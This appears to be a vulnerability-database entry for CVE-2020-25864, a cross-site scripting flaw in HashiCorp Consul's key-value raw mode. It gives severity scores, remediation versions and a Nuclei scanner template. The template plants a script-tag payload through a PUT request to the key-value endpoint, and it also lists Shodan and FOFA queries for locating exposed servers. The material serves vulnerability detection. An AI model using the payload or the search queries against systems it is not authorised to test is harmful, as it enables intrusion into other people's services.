4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
6.1 Medium
AI Score
Confidence
High
0.003 Low
EPSS
Percentile
70.8%
HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.
id: CVE-2020-25864
info:
name: HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting
author: c-sh0
severity: medium
description: |
HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Consul/Consul Enterprise application.
remediation: Fixed in 1.9.5, 1.8.10 and 1.7.14.
reference:
- https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
- https://www.hashicorp.com/blog/category/consul
- https://nvd.nist.gov/vuln/detail/CVE-2020-25864
- https://security.gentoo.org/glsa/202208-09
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-25864
cwe-id: CWE-79
epss-score: 0.00324
epss-percentile: 0.70681
cpe: cpe:2.3:a:hashicorp:consul:*:*:*:*:-:*:*:*
metadata:
max-request: 2
vendor: hashicorp
product: consul
shodan-query:
- http.title:"consul by hashicorp"
- cpe:"cpe:2.3:a:hashicorp:consul"
fofa-query: title="consul by hashicorp"
google-query: intitle:"consul by hashicorp"
tags: cve,cve2020,consul,xss,intrusive,hashicorp
http:
- raw:
- |
PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1
Host: {{Hostname}}
<!DOCTYPE html><script>alert(document.domain)</script>
- |
GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: header
words:
- text/html
- type: word
part: body_2
words:
- <!DOCTYPE html><script>alert(document.domain)</script>
- type: status
status:
- 200
# digest: 490a00463044022036ee6c2abe0cae19513f267a94eff61f5998ea99ab09723b203232fe8b84ce1602207c44bb37cf60a356634bae0a5cd0d1adf35f4f7d17d127d491a5e54739e542f6:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
6.1 Medium
AI Score
Confidence
High
0.003 Low
EPSS
Percentile
70.8%